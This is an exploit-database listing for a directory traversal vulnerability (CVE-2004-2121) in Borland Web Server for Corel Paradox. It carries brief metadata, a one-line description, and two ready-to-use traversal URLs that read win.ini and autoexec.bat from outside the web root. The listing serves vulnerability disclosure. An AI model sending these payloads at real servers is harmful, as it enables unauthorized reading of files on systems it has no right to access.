Exploit borland Web server for corel paradox 1.0 b3 - Directory Traversal

[Exploiter]

EDB-ID

23597

Проверка EDB

1. Пройдено

Автор

RAFEL IVGI THE-INSIDER

Тип уязвимости

REMOTE

Платформа

WINDOWS

CVE

cve-2004-2121

Дата публикации

2004-01-24

source: https://www.securityfocus.com/bid/9486/info

A vulnerability in Borland Web Server for Corel Paradox has been reported that may allow a remote attacker to view files residing outside of the web server root directory on the affected system. 

http://<host>/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
http://<host>/..................../autoexec.bat